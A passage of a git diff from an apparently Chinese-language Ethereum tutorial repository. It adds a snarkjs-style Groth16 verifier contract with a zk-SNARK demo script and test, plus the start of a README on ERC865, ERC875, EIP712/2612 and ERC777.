+    /// @return the generator of G1
+    function P1() internal pure returns (G1Point memory) {
+        return G1Point(1, 2);
+    }
+    /// @return the generator of G2
+    function P2() internal pure returns (G2Point memory) {
+        // Original code point
+        return G2Point(
+            [11559732032986387107991004021392285783925812861821192530917403151452391805634,
+             10857046999023057135944570762232829481370756359578518086990519993285655852781],
+            [4082367875863433681332203403145435568316851327593401208105741076214120093531,
+             8495653923123431417604973247489272438418190587263600148770280649306958101930]
+        );
+
+/*
+        // Changed by Jordi point
+        return G2Point(
+            [10857046999023057135944570762232829481370756359578518086990519993285655852781,
+             11559732032986387107991004021392285783925812861821192530917403151452391805634],
+            [8495653923123431417604973247489272438418190587263600148770280649306958101930,
+             4082367875863433681332203403145435568316851327593401208105741076214120093531]
+        );
+*/
+    }
+    /// @return r the negation of p, i.e. p.addition(p.negate()) should be zero.
+    function negate(G1Point memory p) internal pure returns (G1Point memory r) {
+        // The prime q in the base field F_q for G1
+        uint q = 21888242871839275222246405745257275088696311157297823662689037894645226208583;
+        if (p.X == 0 && p.Y == 0)
+            return G1Point(0, 0);
+        return G1Point(p.X, q - (p.Y % q));
+    }
+    /// @return r the sum of two points of G1
+    function addition(G1Point memory p1, G1Point memory p2) internal view returns (G1Point memory r) {
+        uint[4] memory input;
+        input[0] = p1.X;
+        input[1] = p1.Y;
+        input[2] = p2.X;
+        input[3] = p2.Y;
+        bool success;
+        // solium-disable-next-line security/no-inline-assembly
+        assembly {
+            success := staticcall(sub(gas(), 2000), 6, input, 0xc0, r, 0x60)
+            // Use "invalid" to make gas estimation work
+            switch success case 0 { invalid() }
+        }
+        require(success,"pairing-add-failed");
+    }
+    /// @return r the product of a point on G1 and a scalar, i.e.
+    /// p == p.scalar_mul(1) and p.addition(p) == p.scalar_mul(2) for all points p.
+    function scalar_mul(G1Point memory p, uint s) internal view returns (G1Point memory r) {
+        uint[3] memory input;
+        input[0] = p.X;
+        input[1] = p.Y;
+        input[2] = s;
+        bool success;
+        // solium-disable-next-line security/no-inline-assembly
+        assembly {
+            success := staticcall(sub(gas(), 2000), 7, input, 0x80, r, 0x60)
+            // Use "invalid" to make gas estimation work
+            switch success case 0 { invalid() }
+        }
+        require (success,"pairing-mul-failed");
+    }
+    /// @return the result of computing the pairing check
+    /// e(p1[0], p2[0]) *  .... * e(p1[n], p2[n]) == 1
+    /// For example pairing([P1(), P1().negate()], [P2(), P2()]) should
+    /// return true.
+    function pairing(G1Point[] memory p1, G2Point[] memory p2) internal view returns (bool) {
+        require(p1.length == p2.length,"pairing-lengths-failed");
+        uint elements = p1.length;
+        uint inputSize = elements * 6;
+        uint[] memory input = new uint[](inputSize);
+        for (uint i = 0; i < elements; i++)
+        {
+            input[i * 6 + 0] = p1[i].X;
+            input[i * 6 + 1] = p1[i].Y;
+            input[i * 6 + 2] = p2[i].X[0];
+            input[i * 6 + 3] = p2[i].X[1];
+            input[i * 6 + 4] = p2[i].Y[0];
+            input[i * 6 + 5] = p2[i].Y[1];
+        }
+        uint[1] memory out;
+        bool success;
+        // solium-disable-next-line security/no-inline-assembly
+        assembly {
+            success := staticcall(sub(gas(), 2000), 8, add(input, 0x20), mul(inputSize, 0x20), out, 0x20)
+            // Use "invalid" to make gas estimation work
+            switch success case 0 { invalid() }
+        }
+        require(success,"pairing-opcode-failed");
+        return out[0] != 0;
+    }
+    /// Convenience method for a pairing check for two pairs.
+    function pairingProd2(G1Point memory a1, G2Point memory a2, G1Point memory b1, G2Point memory b2) internal view returns (bool) {
+        G1Point[] memory p1 = new G1Point[](2);
+        G2Point[] memory p2 = new G2Point[](2);
+        p1[0] = a1;
+        p1[1] = b1;
+        p2[0] = a2;
+        p2[1] = b2;
+        return pairing(p1, p2);
+    }
+    /// Convenience method for a pairing check for three pairs.
+    function pairingProd3(
+            G1Point memory a1, G2Point memory a2,
+            G1Point memory b1, G2Point memory b2,
+            G1Point memory c1, G2Point memory c2
+    ) internal view returns (bool) {
+        G1Point[] memory p1 = new G1Point[](3);
+        G2Point[] memory p2 = new G2Point[](3);
+        p1[0] = a1;
+        p1[1] = b1;
+        p1[2] = c1;
+        p2[0] = a2;
+        p2[1] = b2;
+        p2[2] = c2;
+        return pairing(p1, p2);
+    }
+    /// Convenience method for a pairing check for four pairs.
+    function pairingProd4(
+            G1Point memory a1, G2Point memory a2,
+            G1Point memory b1, G2Point memory b2,
+            G1Point memory c1, G2Point memory c2,
+            G1Point memory d1, G2Point memory d2
+    ) internal view returns (bool) {
+        G1Point[] memory p1 = new G1Point[](4);
+        G2Point[] memory p2 = new G2Point[](4);
+        p1[0] = a1;
+        p1[1] = b1;
+        p1[2] = c1;
+        p1[3] = d1;
+        p2[0] = a2;
+        p2[1] = b2;
+        p2[2] = c2;
+        p2[3] = d2;
+        return pairing(p1, p2);
+    }
+}
+contract Verifier {
+    using Pairing for *;
+    struct VerifyingKey {
+        Pairing.G1Point alfa1;
+        Pairing.G2Point beta2;
+        Pairing.G2Point gamma2;
+        Pairing.G2Point delta2;
+        Pairing.G1Point[] IC;
+    }
+    struct Proof {
+        Pairing.G1Point A;
+        Pairing.G2Point B;
+        Pairing.G1Point C;
+    }
+    function verifyingKey() internal pure returns (VerifyingKey memory vk) {
+        vk.alfa1 = Pairing.G1Point(
+            17214108544151213417539800433311176468512901693170800859465967215878446140699,
+            11862085286861793542065489552791786495610747461417875217980598566505311572617
+        );
+
+        vk.beta2 = Pairing.G2Point(
+            [8817005734806047651328420221936362338952437587694967389636922017482949248443,
+             11765292256257449944630827586436992718384355421309498724679720262263133439689],
+            [17457137269561997965526893702223241809174588851474760059778367519650574391492,
+             4349924026217009329116974985308107521319016471709083681353619349273225009412]
+        );
+        vk.gamma2 = Pairing.G2Point(
+            [11559732032986387107991004021392285783925812861821192530917403151452391805634,
+             10857046999023057135944570762232829481370756359578518086990519993285655852781],
+            [4082367875863433681332203403145435568316851327593401208105741076214120093531,
+             8495653923123431417604973247489272438418190587263600148770280649306958101930]
+        );
+        vk.delta2 = Pairing.G2Point(
+            [20412706185122310344066244173335594506299963460781123421614529132907351990301,
+             4352419207383908612591144093161067101286110705009938549655857723283636916403],
+            [9301780865705241398734718914827228414907883107422516219437145494001609347546,
+             21380976044186132464781962235582584112112813583824333421946135092434001582207]
+        );
+        vk.IC = new Pairing.G1Point[](3);
+        
+        vk.IC[0] = Pairing.G1Point( 
+            17700694339348253354822827962730450473221681859495623625674843793298145954342,
+            13558961663814610341827151463625142887105825904837601511334344006819894901501
+        );                                      
+        
+        vk.IC[1] = Pairing.G1Point( 
+            4200532436143665327688580440068408281282739523466552486286484774771625936538,
+            14489994838413750348153151923655066254281055197605245495390977658921123630945
+        );                                      
+        
+        vk.IC[2] = Pairing.G1Point( 
+            10650929157331389729477462437023936310495733853812484752202548091148300884789,
+            20494304102713317372589918072256456471542618306215347411367383609933350168725
+        );                                      
+        
+    }
+    function verify(uint[] memory input, Proof memory proof) internal view returns (uint) {
+        uint256 snark_scalar_field = 21888242871839275222246405745257275088548364400416034343698204186575808495617;
+        VerifyingKey memory vk = verifyingKey();
+        require(input.length + 1 == vk.IC.length,"verifier-bad-input");
+        // Compute the linear combination vk_x
+        Pairing.G1Point memory vk_x = Pairing.G1Point(0, 0);
+        for (uint i = 0; i < input.length; i++) {
+            require(input[i] < snark_scalar_field,"verifier-gte-snark-scalar-field");
+            vk_x = Pairing.addition(vk_x, Pairing.scalar_mul(vk.IC[i + 1], input[i]));
+        }
+        vk_x = Pairing.addition(vk_x, vk.IC[0]);
+        if (!Pairing.pairingProd4(
+            Pairing.negate(proof.A), proof.B,
+            vk.alfa1, vk.beta2,
+            vk_x, vk.gamma2,
+            proof.C, vk.delta2
+        )) return 1;
+        return 0;
+    }
+    /// @return r  bool true if proof is valid
+    function verifyProof(
+            uint[2] memory a,
+            uint[2][2] memory b,
+            uint[2] memory c,
+            uint[2] memory input
+        ) public view returns (bool r) {
+        Proof memory proof;
+        proof.A = Pairing.G1Point(a[0], a[1]);
+        proof.B = Pairing.G2Point([b[0][0], b[0][1]], [b[1][0], b[1][1]]);
+        proof.C = Pairing.G1Point(c[0], c[1]);
+        uint[] memory inputValues = new uint[](input.length);
+        for(uint i = 0; i < input.length; i++){
+            inputValues[i] = input[i];
+        }
+        if (verify(inputValues, proof) == 0) {
+            return true;
+        } else {
+            return false;
+        }
+    }
+}
diff --git a/basic/22-zk-snarkjs/zk_dapp_tutorial/contracts/My.sol b/basic/22-zk-snarkjs/zk_dapp_tutorial/contracts/My.sol
new file mode 100644
index 000000000..29fdc3190
--- /dev/null
+++ b/basic/22-zk-snarkjs/zk_dapp_tutorial/contracts/My.sol
@@ -0,0 +1,31 @@
+pragma solidity ^0.8.18;
+
+import "./verifier.sol";
+
+contract My is Verifier{
+
+    bytes32 public dataHash;
+    
+    constructor(bytes32 _dataHash) {
+        dataHash = _dataHash;
+    }
+
+    event Execute();
+
+    function execute(bytes calldata zksnark) external{
+        //Decode
+        (uint[2] memory pA, uint[2][2] memory pB, uint[2] memory pC, uint[2] memory publicSignals)
+        = abi.decode(zksnark, (uint[2], uint[2][2] , uint[2], uint[2]));
+        //Verify zk
+        bool success = verifyProof(pA, pB, pC, publicSignals);
+        require(success, "zkProof verification failed");
+        //Verify public signals
+        bytes32 dataHashSignal = bytes32(publicSignals[1]);//Not zero, publicSignals[0]是输出信号
+        require(dataHashSignal == dataHash, "Invalid data hash");
+
+
+        //Execute
+        emit Execute();
+    }
+}
+
diff --git a/basic/22-zk-snarkjs/zk_dapp_tutorial/contracts/verifier.sol b/basic/22-zk-snarkjs/zk_dapp_tutorial/contracts/verifier.sol
new file mode 100644
index 000000000..7390da655
--- /dev/null
+++ b/basic/22-zk-snarkjs/zk_dapp_tutorial/contracts/verifier.sol
@@ -0,0 +1,260 @@
+//
+// Copyright 2017 Christian Reitwiessner
+// Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+// The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
+// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+//
+// 2019 OKIMS
+//      ported to solidity 0.6
+//      fixed linter warnings
+//      added requiere error messages
+//
+//
+// SPDX-License-Identifier: GPL-3.0
+pragma solidity ^0.6.11;
+library Pairing {
+    struct G1Point {
+        uint X;
+        uint Y;
+    }
+    // Encoding of field elements is: X[0] * z + X[1]
+    struct G2Point {
+        uint[2] X;
+        uint[2] Y;
+    }
+    /// @return the generator of G1
+    function P1() internal pure returns (G1Point memory) {
+        return G1Point(1, 2);
+    }
+    /// @return the generator of G2
+    function P2() internal pure returns (G2Point memory) {
+        // Original code point
+        return G2Point(
+            [11559732032986387107991004021392285783925812861821192530917403151452391805634,
+             10857046999023057135944570762232829481370756359578518086990519993285655852781],
+            [4082367875863433681332203403145435568316851327593401208105741076214120093531,
+             8495653923123431417604973247489272438418190587263600148770280649306958101930]
+        );
+
+/*
+        // Changed by Jordi point
+        return G2Point(
+            [10857046999023057135944570762232829481370756359578518086990519993285655852781,
+             11559732032986387107991004021392285783925812861821192530917403151452391805634],
+            [8495653923123431417604973247489272438418190587263600148770280649306958101930,
+             4082367875863433681332203403145435568316851327593401208105741076214120093531]
+        );
+*/
+    }
+    /// @return r the negation of p, i.e. p.addition(p.negate()) should be zero.
+    function negate(G1Point memory p) internal pure returns (G1Point memory r) {
+        // The prime q in the base field F_q for G1
+        uint q = 21888242871839275222246405745257275088696311157297823662689037894645226208583;
+        if (p.X == 0 && p.Y == 0)
+            return G1Point(0, 0);
+        return G1Point(p.X, q - (p.Y % q));
+    }
+    /// @return r the sum of two points of G1
+    function addition(G1Point memory p1, G1Point memory p2) internal view returns (G1Point memory r) {
+        uint[4] memory input;
+        input[0] = p1.X;
+        input[1] = p1.Y;
+        input[2] = p2.X;
+        input[3] = p2.Y;
+        bool success;
+        // solium-disable-next-line security/no-inline-assembly
+        assembly {
+            success := staticcall(sub(gas(), 2000), 6, input, 0xc0, r, 0x60)
+            // Use "invalid" to make gas estimation work
+            switch success case 0 { invalid() }
+        }
+        require(success,"pairing-add-failed");
+    }
+    /// @return r the product of a point on G1 and a scalar, i.e.
+    /// p == p.scalar_mul(1) and p.addition(p) == p.scalar_mul(2) for all points p.
+    function scalar_mul(G1Point memory p, uint s) internal view returns (G1Point memory r) {
+        uint[3] memory input;
+        input[0] = p.X;
+        input[1] = p.Y;
+        input[2] = s;
+        bool success;
+        // solium-disable-next-line security/no-inline-assembly
+        assembly {
+            success := staticcall(sub(gas(), 2000), 7, input, 0x80, r, 0x60)
+            // Use "invalid" to make gas estimation work
+            switch success case 0 { invalid() }
+        }
+        require (success,"pairing-mul-failed");
+    }
+    /// @return the result of computing the pairing check
+    /// e(p1[0], p2[0]) *  .... * e(p1[n], p2[n]) == 1
+    /// For example pairing([P1(), P1().negate()], [P2(), P2()]) should
+    /// return true.
+    function pairing(G1Point[] memory p1, G2Point[] memory p2) internal view returns (bool) {
+        require(p1.length == p2.length,"pairing-lengths-failed");
+        uint elements = p1.length;
+        uint inputSize = elements * 6;
+        uint[] memory input = new uint[](inputSize);
+        for (uint i = 0; i < elements; i++)
+        {
+            input[i * 6 + 0] = p1[i].X;
+            input[i * 6 + 1] = p1[i].Y;
+            input[i * 6 + 2] = p2[i].X[0];
+            input[i * 6 + 3] = p2[i].X[1];
+            input[i * 6 + 4] = p2[i].Y[0];
+            input[i * 6 + 5] = p2[i].Y[1];
+        }
+        uint[1] memory out;
+        bool success;
+        // solium-disable-next-line security/no-inline-assembly
+        assembly {
+            success := staticcall(sub(gas(), 2000), 8, add(input, 0x20), mul(inputSize, 0x20), out, 0x20)
+            // Use "invalid" to make gas estimation work
+            switch success case 0 { invalid() }
+        }
+        require(success,"pairing-opcode-failed");
+        return out[0] != 0;
+    }
+    /// Convenience method for a pairing check for two pairs.
+    function pairingProd2(G1Point memory a1, G2Point memory a2, G1Point memory b1, G2Point memory b2) internal view returns (bool) {
+        G1Point[] memory p1 = new G1Point[](2);
+        G2Point[] memory p2 = new G2Point[](2);
+        p1[0] = a1;
+        p1[1] = b1;
+        p2[0] = a2;
+        p2[1] = b2;
+        return pairing(p1, p2);
+    }
+    /// Convenience method for a pairing check for three pairs.
+    function pairingProd3(
+            G1Point memory a1, G2Point memory a2,
+            G1Point memory b1, G2Point memory b2,
+            G1Point memory c1, G2Point memory c2
+    ) internal view returns (bool) {
+        G1Point[] memory p1 = new G1Point[](3);
+        G2Point[] memory p2 = new G2Point[](3);
+        p1[0] = a1;
+        p1[1] = b1;
+        p1[2] = c1;
+        p2[0] = a2;
+        p2[1] = b2;
+        p2[2] = c2;
+        return pairing(p1, p2);
+    }
+    /// Convenience method for a pairing check for four pairs.
+    function pairingProd4(
+            G1Point memory a1, G2Point memory a2,
+            G1Point memory b1, G2Point memory b2,
+            G1Point memory c1, G2Point memory c2,
+            G1Point memory d1, G2Point memory d2
+    ) internal view returns (bool) {
+        G1Point[] memory p1 = new G1Point[](4);
+        G2Point[] memory p2 = new G2Point[](4);
+        p1[0] = a1;
+        p1[1] = b1;
+        p1[2] = c1;
+        p1[3] = d1;
+        p2[0] = a2;
+        p2[1] = b2;
+        p2[2] = c2;
+        p2[3] = d2;
+        return pairing(p1, p2);
+    }
+}
+contract Verifier {
+    using Pairing for *;
+    struct VerifyingKey {
+        Pairing.G1Point alfa1;
+        Pairing.G2Point beta2;
+        Pairing.G2Point gamma2;
+        Pairing.G2Point delta2;
+        Pairing.G1Point[] IC;
+    }
+    struct Proof {
+        Pairing.G1Point A;
+        Pairing.G2Point B;
+        Pairing.G1Point C;
+    }
+    function verifyingKey() internal pure returns (VerifyingKey memory vk) {
+        vk.alfa1 = Pairing.G1Point(
+            17214108544151213417539800433311176468512901693170800859465967215878446140699,
+            11862085286861793542065489552791786495610747461417875217980598566505311572617
+        );
+
+        vk.beta2 = Pairing.G2Point(
+            [8817005734806047651328420221936362338952437587694967389636922017482949248443,
+             11765292256257449944630827586436992718384355421309498724679720262263133439689],
+            [17457137269561997965526893702223241809174588851474760059778367519650574391492,
+             4349924026217009329116974985308107521319016471709083681353619349273225009412]
+        );
+        vk.gamma2 = Pairing.G2Point(
+            [11559732032986387107991004021392285783925812861821192530917403151452391805634,
+             10857046999023057135944570762232829481370756359578518086990519993285655852781],
+            [4082367875863433681332203403145435568316851327593401208105741076214120093531,
+             8495653923123431417604973247489272438418190587263600148770280649306958101930]
+        );
+        vk.delta2 = Pairing.G2Point(
+            [20412706185122310344066244173335594506299963460781123421614529132907351990301,
+             4352419207383908612591144093161067101286110705009938549655857723283636916403],
+            [9301780865705241398734718914827228414907883107422516219437145494001609347546,
+             21380976044186132464781962235582584112112813583824333421946135092434001582207]
+        );
+        vk.IC = new Pairing.G1Point[](3);
+        
+        vk.IC[0] = Pairing.G1Point( 
+            17700694339348253354822827962730450473221681859495623625674843793298145954342,
+            13558961663814610341827151463625142887105825904837601511334344006819894901501
+        );                                      
+        
+        vk.IC[1] = Pairing.G1Point( 
+            4200532436143665327688580440068408281282739523466552486286484774771625936538,
+            14489994838413750348153151923655066254281055197605245495390977658921123630945
+        );                                      
+        
+        vk.IC[2] = Pairing.G1Point( 
+            10650929157331389729477462437023936310495733853812484752202548091148300884789,
+            20494304102713317372589918072256456471542618306215347411367383609933350168725
+        );                                      
+        
+    }
+    function verify(uint[] memory input, Proof memory proof) internal view returns (uint) {
+        uint256 snark_scalar_field = 21888242871839275222246405745257275088548364400416034343698204186575808495617;
+        VerifyingKey memory vk = verifyingKey();
+        require(input.length + 1 == vk.IC.length,"verifier-bad-input");
+        // Compute the linear combination vk_x
+        Pairing.G1Point memory vk_x = Pairing.G1Point(0, 0);
+        for (uint i = 0; i < input.length; i++) {
+            require(input[i] < snark_scalar_field,"verifier-gte-snark-scalar-field");
+            vk_x = Pairing.addition(vk_x, Pairing.scalar_mul(vk.IC[i + 1], input[i]));
+        }
+        vk_x = Pairing.addition(vk_x, vk.IC[0]);
+        if (!Pairing.pairingProd4(
+            Pairing.negate(proof.A), proof.B,
+            vk.alfa1, vk.beta2,
+            vk_x, vk.gamma2,
+            proof.C, vk.delta2
+        )) return 1;
+        return 0;
+    }
+    /// @return r  bool true if proof is valid
+    function verifyProof(
+            uint[2] memory a,
+            uint[2][2] memory b,
+            uint[2] memory c,
+            uint[2] memory input
+        ) public view returns (bool r) {
+        Proof memory proof;
+        proof.A = Pairing.G1Point(a[0], a[1]);
+        proof.B = Pairing.G2Point([b[0][0], b[0][1]], [b[1][0], b[1][1]]);
+        proof.C = Pairing.G1Point(c[0], c[1]);
+        uint[] memory inputValues = new uint[](input.length);
+        for(uint i = 0; i < input.length; i++){
+            inputValues[i] = input[i];
+        }
+        if (verify(inputValues, proof) == 0) {
+            return true;
+        } else {
+            return false;
+        }
+    }
+}
diff --git a/basic/22-zk-snarkjs/zk_dapp_tutorial/hardhat.config.js b/basic/22-zk-snarkjs/zk_dapp_tutorial/hardhat.config.js
new file mode 100644
index 000000000..b858d40aa
--- /dev/null
+++ b/basic/22-zk-snarkjs/zk_dapp_tutorial/hardhat.config.js
@@ -0,0 +1,14 @@
+/** @type import('hardhat/config').HardhatUserConfig */
+module.exports = {
+  solidity: {
+    compilers: [
+      {
+        version: "0.8.18",
+      },
+      {
+        version: "0.6.7",
+        settings: {},
+      },
+    ],
+  },
+};
diff --git a/basic/22-zk-snarkjs/zk_dapp_tutorial/package.json b/basic/22-zk-snarkjs/zk_dapp_tutorial/package.json
new file mode 100644
index 000000000..ed382cf62
--- /dev/null
+++ b/basic/22-zk-snarkjs/zk_dapp_tutorial/package.json
@@ -0,0 +1,15 @@
+{
+  "name": "practice",
+  "version": "1.0.0",
+  "main": "index.js",
+  "license": "MIT",
+  "dependencies": {
+    "chai": "^4.3.7",
+    "circom_tester": "^0.0.19",
+    "circomlib": "^2.0.5",
+    "circomlibjs": "^0.1.7",
+    "fs": "^0.0.1-security",
+    "hardhat": "^2.14.0",
+    "mocha": "^10.2.0"
+  }
+}
diff --git a/basic/22-zk-snarkjs/zk_dapp_tutorial/scripts/call_contract.js b/basic/22-zk-snarkjs/zk_dapp_tutorial/scripts/call_contract.js
new file mode 100644
index 000000000..b524ba0d6
--- /dev/null
+++ b/basic/22-zk-snarkjs/zk_dapp_tutorial/scripts/call_contract.js
@@ -0,0 +1,71 @@
+
+const ethers =require('ethers');
+const snarkjs = require('snarkjs');
+const fs = require("fs");
+const contractAbi = JSON.parse(fs.readFileSync('../artifact/abi.abi').toString());
+const contractBin = fs.readFileSync('../artifact/bin.bin').toString();
+const vkey = JSON.parse(fs.readFileSync('../artifact/verification_key.json').toString());
+
+const {buildPoseidonOpt} = require('circomlibjs');
+
+async function main(){
+    let provider = new ethers.providers.JsonRpcProvider();
+    const signer = provider.getSigner();
+    let poseidon = await buildPoseidonOpt();
+    const data = buf2hex([1,1,1]);
+    const dataHash = buf2hex(await goodPoseidon(poseidon, [data]));
+    //Deploy
+    const factory = new ethers.ContractFactory(contractAbi, contractBin, signer);
+
+    const contract = await factory.deploy(dataHash );
+    await contract.deployed();
+    console.log(`deployed to ${contract.address}`)
+
+    //Gen Proof
+    let input = {
+        data,
+        dataHash
+    };
+    
+    const { proof, publicSignals } =
+    await snarkjs.groth16.fullProve( input, "../artifact/circuit.wasm", "../artifact/circuit_final.zkey");
+    console.log(`proof :\n${JSON.stringify(proof)}`);
+    console.log(`public signals:\n ${publicSignals}`);
+    //Call contract
+    const targetContract = new ethers.Contract(contract.address, contractAbi);
+    const pA = proof.pi_a.slice(0,2)
+    const pB = [[proof.pi_b[0][1], proof.pi_b[0][0]], [proof.pi_b[1][1],  proof.pi_b[1][0]]]
+    const pC = proof.pi_c.slice(0,2)
+
+    const encoded = ethers.utils.defaultAbiCoder.encode(["uint[2]", "uint[2][2]","uint[2]", "uint[2]"], 
+    [pA, pB, pC, publicSignals]);
+    
+    const receipt = await (await targetContract.connect(signer).execute(encoded)).wait();
+    if(receipt.status !== 1){
+        console.log('tx failed');
+        return;
+    }
+    if (!receipt.events || receipt.events[0]?.event !=='Execute'){
+        console.log('tx failed');
+        return;
+    }
+    console.log('success');
+}
+
+
+
+
+
+function buf2hex(buffer) { // buffer is an ArrayBuffer
+    return "0x"+[...new Uint8Array(buffer)]
+        .map(x => x.toString(16).padStart(2, '0'))
+        .join('');
+  }
+  
+async function goodPoseidon(poseidon, input){
+    const ansInFF = poseidon(input);
+    return (await poseidon.F.batchFromMontgomery(ansInFF)).reverse()
+}
+
+
+main();
\ No newline at end of file
diff --git a/basic/22-zk-snarkjs/zk_dapp_tutorial/test/test.js b/basic/22-zk-snarkjs/zk_dapp_tutorial/test/test.js
new file mode 100644
index 000000000..0c22ed22f
--- /dev/null
+++ b/basic/22-zk-snarkjs/zk_dapp_tutorial/test/test.js
@@ -0,0 +1,42 @@
+const chai = require("chai");
+const { before } = require("mocha");
+const path = require("path");
+const {buildPoseidonOpt} = require('circomlibjs');
+// const snarkjs = require('snarkjs');
+// const fs = require('fs');
+const wasm_tester = require("circom_tester").wasm;
+
+describe('verify hash', ()=>{
+    let circuit;
+    let poseidon;
+    before(async()=>{
+        circuit = await wasm_tester(path.join(__dirname, "../circuits", "circuit.circom"));
+        poseidon = await buildPoseidonOpt();
+    })
+
+    it('should pass test', async ()=>{
+        //Create input
+        const data = buf2hex([1,1,1]);//byte array cannot be converted to BigInt directly, so we use hex
+        const dataHash = buf2hex(await goodPoseidon(poseidon, [data]));//byte array cannot be converted to BigInt directly, so we use hex
+        const input = {
+            data,
+            dataHash
+        }
+        var witness = await circuit.calculateWitness(input, true);
+        await circuit.checkConstraints(witness);
+        await circuit.assertOut(witness, {out: "0"});
+
+    })
+});
+
+
+function buf2hex(buffer) { // buffer is an ArrayBuffer
+    return "0x"+[...new Uint8Array(buffer)]
+        .map(x => x.toString(16).padStart(2, '0'))
+        .join('');
+  }
+  
+async function goodPoseidon(poseidon, input){
+    const ansInFF = poseidon(input);
+    return (await poseidon.F.batchFromMontgomery(ansInFF)).reverse()
+}
\ No newline at end of file
diff --git a/basic/23-erc865-and-erc875/.env.example b/basic/23-erc865-and-erc875/.env.example
new file mode 100644
index 000000000..e50183d9c
--- /dev/null
+++ b/basic/23-erc865-and-erc875/.env.example
@@ -0,0 +1,3 @@
+PRIVATE_KEY=xxxxxxxxxxxxxxxx 
+PRIVATE_KEY_ALICE=zzzzzz
+INFURA_ID=yyyyyyyy
\ No newline at end of file
diff --git a/Example15-nft-blindbox-chainlink-vrf/.gitignore b/basic/23-erc865-and-erc875/.gitignore
similarity index 100%
rename from Example15-nft-blindbox-chainlink-vrf/.gitignore
rename to basic/23-erc865-and-erc875/.gitignore
diff --git a/basic/23-erc865-and-erc875/.prettierrc b/basic/23-erc865-and-erc875/.prettierrc
new file mode 100644
index 000000000..9a903dc0d
--- /dev/null
+++ b/basic/23-erc865-and-erc875/.prettierrc
@@ -0,0 +1,17 @@
+{
+  "semi": true,
+  "singleQuote": true,
+  "overrides": [
+    {
+      "files": "*.sol",
+      "options": {
+        "printWidth": 100,
+        "tabWidth": 4,
+        "useTabs": false,
+        "singleQuote": false,
+        "bracketSpacing": false,
+        "explicitTypes": "always"
+      }
+    }
+  ]
+}
diff --git a/basic/23-erc865-and-erc875/README.md b/basic/23-erc865-and-erc875/README.md
new file mode 100644
index 000000000..93a54597d
--- /dev/null
+++ b/basic/23-erc865-and-erc875/README.md
@@ -0,0 +1,248 @@
+## 概要
+
+本样例主要介绍 ERC865, ERC875, EIP712, ERC777, ERC1155 这些合约功能及基本使用.
+
+### 1. ERC865
+
+要在以太坊区块链上执行任何交易, 必须付费. 该费用将支付给矿工用于打包交易, 将其放入区块并保护区块链.此费用以 gas（gas limit * gas​​ price）计算, 并以 ETH 支付.
+
+这给新用户带来了一些摩擦:
+
+1. 新用户必须了解以太坊的工作原理才能了解 gas 价格和 gas 成本
+2. 他们必须获得必要的 ETH 以支付 gas
+
+这两点为 DApp 的使用创造了不必要的麻烦, 为此提出了 ERC865 标准.
+
+介绍了一个中间人第三方, 该第三方愿意以代币收取转移费, 并将以必要的费用将转移交易以太币转发给区块链. 使用加密签名可以保护此过程.
+
+- 测试脚本介绍
+test-ERC865.js 介绍了如何使用 "无gas" 交易, 阐明了“无gas”实际上意味着将 gas 成本转移给其他人.
+使用此模式有很多好处, 因此, 它被广泛使用. 签名允许将交易 gas 成本从用户转移到服务提供商, 从而在许多情况下消除了相当大的障碍. 它还允许实现更高级的委派模式, 通常需要对 UX 进行相当大的改进.
+
+### 2. ERC875
+
+ERC875 和 ERC721 一样, 是非同质代币, 但具有不同的接口.
+ERC875 与 ERC721 有两个最大的不同之处:
+
+- 一次买卖中, ERC875 只需要一次交易, 因此只需要支付一次 gas.（通过 magiclink 的方式，实现了原子交易）
+- 多个代币可以在一次交易中进行买卖.（比如卖家需要10张票打包销售）
+
+### 3. EIP712 & ERC-2612
+
+EIP712是一种更高级, 更安全的交易签名方法. 使用该标准不仅可以签署交易并且可以验证签名，而且可以将数据与签名一起传递到智能合约中,并且可以根据该数据验证签名以了解签名者是否是实际发送该签名的人要在交易中调用的数据.
+EIP712提出了数据的标准结构和从结构化消息生成散列的定义过程, 然后使用此散列生成签名. 通过这种方式, 为发送交易生成的签名与为验证身份或任何其他目的生成的签名之间就有了明显的区别.
+
+关于EIP712的签名与验证签名参考 [签名与验证签名](./Sign&Verify.md)
+
+
+**ERC-2612**
+EIP2162就是基于EIP712协议来实现的无gas以太坊交易。
+EIP2612描述了如何使用EIP712的签名应用于permit函数
+```
+function approve(address usr, uint wad) external returns (bool)
+{
+  allowance[msg.sender][usr] = wad;
+  …
+}
+
+function permit(
+  address holder, address spender,
+  uint256 nonce, uint256 expiry, bool allowed,
+  uint8 v, bytes32 r, bytes32 s
+) external {
+  …
+  allowance[holder][spender] = wad;
+  …
+}
+```
+
+EIP712签名它包含下面几个部分：
+
+1. 一个 DOMAIN_SEPARATOR  .
+2. 一个 PERMIT_TYPEHASH .
+3. 一个 nonces 变量.
+4. 一个 permit 函数.
+
+
+```
+string  public constant name     = "Dai Stablecoin";
+string  public constant version  = "1";
+bytes32 public DOMAIN_SEPARATOR;
+constructor(uint256 chainId_) public {
+  ...
+  DOMAIN_SEPARATOR = keccak256(abi.encode(
+    keccak256(
+      "EIP712Domain(string name,string version," + 
+      "uint256 chainId,address verifyingContract)"
+    ),
+    keccak256(bytes(name)),
+    keccak256(bytes(version)),
+    chainId_,
+    address(this)
+  ));
+}
+```
+
+而permit函数最终签名的内容如下：
+```
+bytes32 digest =
+  keccak256(abi.encodePacked(
+    "\x19\x01",
+    DOMAIN_SEPARATOR,
+    keccak256(abi.encode(
+      PERMIT_TYPEHASH,
+      holder,
+      spender,
+      nonce,
+      expiry,
+      allowed
+    ))
+  ));
+```
+这样用户就不用approve交易，而通过链下签名approve。
+
+### 4. ERC777
+
+标准 ERC20 的存在以下问题
+
+1. ERC20 标准没办法在合约里记录是谁发过来多少币
